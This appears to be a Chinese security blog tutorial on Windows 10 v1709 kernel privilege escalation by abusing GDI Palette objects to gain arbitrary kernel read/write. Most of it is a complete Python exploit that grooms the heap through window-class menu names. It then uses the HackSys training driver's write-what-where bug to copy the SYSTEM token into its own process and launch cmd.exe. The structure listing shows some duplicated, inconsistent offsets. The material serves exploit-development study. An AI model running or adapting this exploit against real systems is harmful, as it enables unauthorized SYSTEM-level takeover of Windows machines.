Windows10 v1709特权提升:GDI Palette滥用

 

0x001 前言

最近对Windows10内核提权比较感兴趣,继续研究一下v1709版本,先回顾我们前几篇文章:

Windows特权提升:GDI Bitmap滥用

Windows10 v1607内核提权技术的发展——利用AcceleratorTable

Windows10 v1703基于桌面堆泄露的内核提权技术

以往我们都会采用Bitmap objects来构造RW primitive,但从v1709开始,微软将Bitmap header与Bitmap data部分分离,无法通过Bitmap header取得pvscan0指针的内核地址,Bitmap Abuse的方法失效

现在,我们来关注另一种GDI结构Palette objects,研究如何用于Windows10 1709 Kernel Privilege Escalation

 

0x002 PALETTE RW Primitive

有了前几篇文章的基础,我们直接进入正题

通过文档,可以了解到PALETTE的结构

typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG           flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC             hdcHead;       // 0x24
    ULONG64        hSelected;     // 0x28, 
    ULONG64           cRefhpal;      // 0x30
    ULONG64          cRefRegular;   // 0x34
    ULONG64      ptransFore;    // 0x3c
    ULONG64      ptransCurrent; // 0x44
    ULONG64      ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64         pfnGetNearest; // 0x3c
    ULONG64   pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64       pRGBXlate;     // 0x48
    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90
}

PALETTE偏移0x90处是PALETTEENTRY,一个4个bytes的数组,偏移0x80处的pFirstColor是一个指向该数组的指针,就是利用该指针来构造RW primitive,相当于Bitmap里的pvScan0指针

class PALETTEENTRY(Structure):
 _fields_ = [
  ("peRed", BYTE),
  ("peGreen", BYTE),
  ("peBlue", BYTE),
  ("peFlags", BYTE)
 ]

调用以下API创建一个PALETTE

HPALETTE CreatePalette(
  _In_ const LOGPALETTE *lplgpl
);

LOGPALETTE是这样的一个结构

class LOGPALETTE(Structure):
 _fields_ = [
  ("palVersion", WORD),
  ("palNumEntries", WORD),
  ("palPalEntry", POINTER(PALETTEENTRY))
 ]

这样创建一个PALETTE,注意一下palNumEntries的计算

logPalette = LOGPALETTE()
logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
logPalette.palVersion = 0x300
gdi32.CreatePalette.restype = HPALETTE
gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
hManager = gdi32.CreatePalette(byref(logPalette))

还记得吗?GetBitmapBits、SetBitmapBits用来操纵Pixel区的数据,被我们恶意利用后可以读写内核数据。关于PALETTE的操作也有类似的API:

UINT GetPaletteEntries(
  _In_  HPALETTE       hpal,
  _In_  UINT           iStartIndex,
  _In_  UINT           nEntries,
  _Out_ LPPALETTEENTRY lppe
);

UINT SetPaletteEntries(
  _In_       HPALETTE     hpal,
  _In_       UINT         iStart,
  _In_       UINT         cEntries,
  _In_ const PALETTEENTRY *lppe
);

具体的攻击过程类似Bitmap Abuse,可以用以下图片来总结:

Palette A、Palette B分别是Manager object、Work object,通过Palette A修改Palette的pFirstColor指针,最后调用GetPaletteEntries、SetPaletteEntries实现对内核数据的任意读写

 

0x003 How to Exploit it?

关于利用过程大体上跟以往的几篇文章类似,这里不再赘述,简单说一下过程:

首先取得HMValidateHandle的调用地址,计算得到lpszMenuName的地址,该指针指向“PALETTE结构”(预测),以下过程跟v1703上利用一致

pIsMenu --> pHMValidateHandle --> pWnd = HMValidateHandle(hWnd,1),返回tagWND对象指针,用户桌面堆地址 
--> pSelf=pWnd+0x20,得到内核桌面堆地址、kernelTagCLS=pWnd+0xa8,得到内核TagCLS地址
--> ulClientDelta=pSelf-pWnd,这是桌面堆用户模式映射与内核映射的偏移
--> userTagCLS=kernelTagCLS-ulClientDelta,取得用户TagCLS地址,lpszMenuName位于0x90偏移处(该处指向paged pool)

后续利用过程:

1.依次分配hManager、hWorker两个Palette object,并利用UAF的方法预测得到各自pFirstColor指针的内核地址;

2.将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址,利用HEVD模块的任意写漏洞;

3.查询获得当前进程与system进程的token;

4.调用API SetPaletteEntries、GetPaletteEntries,将system进程的token写入当前进程;

重要的几个偏移记得修改一下

枚举获得HMValidateHandle调用地址

重用lpszMenuName释放的内存,预测得到hManager、hWorker的pFirstColor指针内核地址

完整的EXP

import ctypes, struct, sys, os, win32con, time
from ctypes import *
from ctypes.wintypes import *
from win32com.shell import shell

ntdll = windll.ntdll
kernel32 = windll.kernel32
gdi32 = windll.gdi32
user32 = windll.user32

def debug_print(message):
    """ Prints message in terminal and debugger """
    print message
    kernel32.OutputDebugStringA(message + "n")


class SYSTEM_MODULE_INFORMATION(Structure):
    _fields_ = [("Reserved", c_void_p * 2),
                ("ImageBase", c_void_p), 
                ("ImageSize", c_long),
                ("Flags", c_ulong),
                ("LoadOrderIndex", c_ushort),
                ("InitOrderIndex", c_ushort),
                ("LoadCount", c_ushort),
                ("ModuleNameOffset", c_ushort),
                ("FullPathName", c_char * 256)]

def get_base_address(input_modules):
    """ Returns base address of kernel modules """
    modules = {}

    # Allocate arbitrary buffer and call NtQuerySystemInformation
    system_information = create_string_buffer(0)
    systeminformationlength = c_ulong(0)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Call NtQuerySystemInformation second time with right size
    system_information = create_string_buffer(systeminformationlength.value)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Read first 4 bytes which contains number of modules retrieved
    module_count = c_ulong(0)
    module_count_string = create_string_buffer(system_information.raw[:8])
    ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))

    # Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
    system_information = create_string_buffer(system_information.raw[8:])
    for x in range(module_count.value):
        smi = SYSTEM_MODULE_INFORMATION()
        temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
        ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
        module_name =  smi.FullPathName.split('\')[-1]
        modules[module_name] = smi

    debug_print("rn[>] NtQuerySystemInformation():")

    # Get base addresses and return them in a list
    base_addresses = []
    for input_module in input_modules:
        try:
            base_address = modules[input_module].ImageBase
            debug_print ("t[+] %s base address: 0x%X" % (input_module, base_address))
            base_addresses.append(base_address)
        except:
            base_addresses.append(0)

    return base_addresses


def get_PsISP_kernel_address():    
    """ Returns kernel base address of PsInitialSystemProcess """
    # Get kernel image base
    kernelImage = "ntoskrnl.exe"
    base_addresses = get_base_address(kernelImage.split())
    kernel_image_base = base_addresses[0]
    debug_print("[+] Nt Base Address: 0x%X" % kernel_image_base)

    # Load kernel image in userland and get PsInitialSystemProcess offset
    kernel32.LoadLibraryA.restype = HMODULE
    hKernelImage = kernel32.LoadLibraryA(kernelImage)
    debug_print("[+] Loading %s in Userland" % kernelImage)
    debug_print("[+] %s Userland Base Address : 0x%X" % (kernelImage, hKernelImage))
    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
    PsISP_user_address = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
    debug_print("[+] PsInitialSystemProcess Userland Base Address: 0x%X" % PsISP_user_address)

    # Calculate PsInitialSystemProcess offset in kernel land
    PsISP_kernel_address_ptr = kernel_image_base + ( PsISP_user_address - hKernelImage)
    debug_print("[+] PsInitialSystemProcess Kernel Base Address: 0x%X" % PsISP_kernel_address_ptr)

    PsISP_kernel_address = c_ulonglong()
    read_virtual(PsISP_kernel_address_ptr, byref(PsISP_kernel_address), sizeof(PsISP_kernel_address));    

    return PsISP_kernel_address.value


pHMValidateHandle = None    

def findHMValidateHandle():
    """ Searches for HMValidateHandle() function """
    global pHMValidateHandle

    kernel32.LoadLibraryA.restype = HMODULE
    hUser32 = kernel32.LoadLibraryA("user32.dll")

    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
    pIsMenu = kernel32.GetProcAddress(hUser32, "IsMenu")

    debug_print("[>] Locating HMValidateHandle()")

    debug_print("t[+] user32.IsMenu: 0x%X" % pIsMenu)

    pHMValidateHandle_offset = 0

    offset = 0
    while (offset < 0x100):
        tempByte = cast(pIsMenu + offset, POINTER(c_byte))
        # if byte == 0xE8
        if tempByte.contents.value == -24:
            pHMValidateHandle_offset = pIsMenu + offset + 1
            break
        offset = offset + 1

    debug_print("t[+] Pointer to HMValidateHandle offset: 0x%X" % pHMValidateHandle_offset)

    HMValidateHandle_offset = (cast(pHMValidateHandle_offset, POINTER(c_long))).contents.value
    #debug_print("t[+] HMValidateHandle offset: 0x%X" % HMValidateHandle_offset)

    # Add 0xb because relative offset of call starts from next instruction after call, which is 0xb bytes from start of user32.IsMenu
    pHMValidateHandle = pIsMenu + HMValidateHandle_offset + 0xb

    debug_print("t[+] HMValidateHandle pointer: 0x%X" % pHMValidateHandle)


WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM)

class WNDCLASSEX(Structure):
    _fields_ = [("cbSize", c_uint),
                ("style", c_uint),
                ("lpfnWndProc", WNDPROCTYPE),
                ("cbClsExtra", c_int),
                ("cbWndExtra", c_int),
                ("hInstance", HANDLE),
                ("hIcon", HANDLE),
                ("hCursor", HANDLE),
                ("hBrush", HANDLE),
                ("lpszMenuName", LPCWSTR),
                ("lpszClassName", LPCWSTR),
                ("hIconSm", HANDLE)]

def PyWndProcedure(hWnd, Msg, wParam, lParam):
    """ Callback Function for CreateWindow() """
    # if Msg == WM_DESTROY
    if Msg == 2:
        user32.PostQuitMessage(0)
    else:
        return user32.DefWindowProcW(hWnd, Msg, wParam, lParam)
    return 0

classNumber = 0

def allocate_free_window():
    """ Allocate and Free a single Window """
    global classNumber, pHMValidateHandle

    # Create prototype for HMValidateHandle()
    HMValidateHandleProto = WINFUNCTYPE (c_ulonglong, HWND, c_int)
    HMValidateHandle = HMValidateHandleProto(pHMValidateHandle)

    WndProc = WNDPROCTYPE(PyWndProcedure)
    hInst = kernel32.GetModuleHandleA(0)

    # instantiate WNDCLASSEX 
    wndClass = WNDCLASSEX()
    wndClass.cbSize = sizeof(WNDCLASSEX)
    wndClass.lpfnWndProc = WndProc
    wndClass.cbWndExtra = 0
    wndClass.hInstance = hInst
    wndClass.lpszMenuName = 'A' * 0x7F0 # Size: 0x1000
    wndClass.lpszClassName = "Class_" + str(classNumber)

    # Register Class and Create Window
    hCls = user32.RegisterClassExW(byref(wndClass))
    hWnd = user32.CreateWindowExA(0,"Class_" + str(classNumber),'Franco',0xcf0000,0,0,300,300,0,0,hInst,0)

    # Run HMValidateHandle on Window handle to get a copy of it in userland
    pWnd = HMValidateHandle(hWnd,1)

    #debug_print ("t[+] pWnd: 0x%X" % pWnd)

    # Read pSelf from copied Window
    kernelpSelf = (cast(pWnd+0x20, POINTER(c_ulonglong))).contents.value

    #debug_print ("t[+] kernelpSelf: 0x%X" % kernelpSelf)

    # Calculate ulClientDelta (tagWND.pSelf - HMValidateHandle())
    # pSelf = ptr to object in Kernel Desktop Heap; pWnd = ptr to object in User Desktop Heap
    ulClientDelta = kernelpSelf - pWnd

    # Read tagCLS from copied Window
    kernelTagCLS = (cast(pWnd+0xa8, POINTER(c_ulonglong))).contents.value

    #debug_print ("t[+] kernelTagCLS: 0x%X" % kernelTagCLS)

    # Calculate user-land tagCLS location: tagCLS - ulClientDelta
    userTagCLS = kernelTagCLS - ulClientDelta

    #debug_print ("t[+] userTagCLS: 0x%X" % userTagCLS)

    # Calculate kernel-land tagCLS.lpszMenuName
    tagCLS_lpszMenuName = (cast (userTagCLS+0x98, POINTER(c_ulonglong))).contents.value

    #debug_print ("t[+] tagCLS_lpszMenuName: 0x%X" % tagCLS_lpszMenuName)

    # Destroy Window
    user32.DestroyWindow(hWnd)

    # Unregister Class
    user32.UnregisterClassW(c_wchar_p("Class_" + str(classNumber)), hInst)

    return tagCLS_lpszMenuName


def alloc_free_windows():
    """ Calls alloc_free_window() until current address matches previous one """
    global classNumber

    previous_entry = 0

    while (1):
        plpszMenuName = allocate_free_window()
        if previous_entry == plpszMenuName:
            return plpszMenuName
        previous_entry = plpszMenuName
        classNumber = classNumber + 1 

hManager = HPALETTE()
hWorker = HPALETTE()

class PALETTEENTRY(Structure):
    _fields_ = [("peRed", BYTE),
                ("peGreen", BYTE),
                ("peBlue", BYTE),
                ("peFlags", BYTE)]

class LOGPALETTE(Structure):
    _fields_ = [("palVersion", WORD),
                ("palNumEntries", WORD), 
                ("palPalEntry", POINTER(PALETTEENTRY))]

def setup_manager_palette():
    """ Creates Manager Palette """
    global hManager

    logPalette = LOGPALETTE()
    logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
    logPalette.palVersion = 0x300
    gdi32.CreatePalette.restype = HPALETTE
    gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
    hManager = gdi32.CreatePalette(byref(logPalette))
    debug_print ("t[+] Manager Palette handle: 0x%X" % hManager)

def setup_worker_palette():
    """ Creates Worker Palette """
    global hWorker

    logPalette = LOGPALETTE()
    logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
    logPalette.palVersion = 0x300
    gdi32.CreatePalette.restype = HPALETTE
    gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
    hWorker = gdi32.CreatePalette(byref(logPalette))
    debug_print ("t[+] Worker Palette handle: 0x%X" % hWorker)

def set_address(address):
    """ Sets pFirstColor value of Worker Bitmap     """
    global hManager
    address = c_ulonglong(address)
    gdi32.SetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
    gdi32.SetPaletteEntries(hManager, 0, sizeof(address) / 4, addressof(address));

def write_virtual(dest, src, len):
    """ Writes value pointed at by Worker Palette """
    global hWorker
    set_address(dest)
    gdi32.SetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
    gdi32.SetPaletteEntries(hWorker, 0, len / 4, src) # reads 4 bytes at a time

def read_virtual(src, dest, len):
    """ Reads value pointed at by Worker Palette """
    global hWorker
    set_address(src)
    gdi32.GetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
    gdi32.GetPaletteEntries(hWorker, 0, len / 4, dest) # reads 4 bytes at a time

unique_process_id_offset = 0x2e0
active_process_links_offset = 0x2e8
token_offset = 0x358

# Get EPROCESS of current process
def get_current_eprocess(pEPROCESS):
    """ Returns ptr to Current EPROCESS structure """
    flink = c_ulonglong()
    read_virtual(pEPROCESS + active_process_links_offset, byref(flink), sizeof(flink));    

    current_pEPROCESS = 0
    while (1):
        unique_process_id = c_ulonglong(0)

        # Adjust EPROCESS pointer for next entry
        pEPROCESS = flink.value - unique_process_id_offset - 0x8

        # Get PID
        read_virtual(pEPROCESS + unique_process_id_offset, byref(unique_process_id), sizeof(unique_process_id));    

        # Check if we're in the current process
        if (os.getpid() == unique_process_id.value):
            current_pEPROCESS = pEPROCESS
            break

        read_virtual(pEPROCESS + active_process_links_offset, byref(flink), sizeof(flink));    

        # If next same as last, we've reached the end
        if (pEPROCESS == flink.value - unique_process_id_offset - 0x8):
            break

    return current_pEPROCESS

def trigger_arbitrary_overwrite():
    """ Main Logic """
    driver_handle = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(ctypes.GetLastError())
        sys.exit()

    global hManager, hWorker

    # Calculate pointer to HMValidateHandle
    findHMValidateHandle()

    #Massaging heap for Manager Palette
    debug_print ("[>] Setting up Manager Palette:")
    debug_print ("t[+] Allocating and Freeing Windows")
    dup_address = alloc_free_windows()
    setup_manager_palette()
    hManager_pFirstColor_offset = dup_address + 0x78
    debug_print ("t[+] Manager palette pFirstColor offset: 0x%X" % hManager_pFirstColor_offset)

    #Massaging heap for Worker Palette
    debug_print ("[>] Setting up Worker Palette:")
    debug_print ("t[+] Allocating and Freeing Windows")
    dup_address = alloc_free_windows()
    setup_worker_palette()
    hWorker_pFirstColor_offset = dup_address + 0x78
    debug_print ("t[+] Worker palette pFirstColor offset: 0x%X" % hWorker_pFirstColor_offset)

    # Using WWW to overwrite Manager pFirstColor value with address of Worker pFirstColor
    write_where = hManager_pFirstColor_offset
    write_what_ptr = c_void_p(hWorker_pFirstColor_offset)    
    evil_input = struct.pack("<Q", addressof(write_what_ptr)) +     struct.pack("<Q", write_where)
    evil_input_ptr = id(evil_input) + 32
    evil_size  = len(evil_input)
    debug_print ("n[+] Triggering W-W-W to overwrite Manager pFirstColor value with Worker pFirstColor")
    dwReturn = c_ulong()
    kernel32.DeviceIoControl(driver_handle, 0x22200B, evil_input_ptr, evil_size, None, 0,byref(dwReturn), None)    

    # Get SYSTEM EPROCESS
    system_EPROCESS = get_PsISP_kernel_address()
    debug_print ("n[+] SYSTEM EPROCESS: 0x%X" % system_EPROCESS)

    # Get current EPROCESS
    current_EPROCESS = get_current_eprocess(system_EPROCESS)
    debug_print ("[+] current EPROCESS: 0x%X" % current_EPROCESS)

    system_token = c_ulonglong()
    debug_print ("rn[+] Reading System TOKEN")
    read_virtual(system_EPROCESS + token_offset, byref(system_token), sizeof(system_token));
    debug_print ("[+] Writing System TOKEN")
    write_virtual(current_EPROCESS + token_offset, byref(system_token), sizeof(system_token));

    if shell.IsUserAnAdmin():
        os.system('cmd.exe')
    else:
        debug_print("[-] Exploit did not work!")

if __name__ == '__main__':
    """ Main Function """
    trigger_arbitrary_overwrite()

WIN~

(完)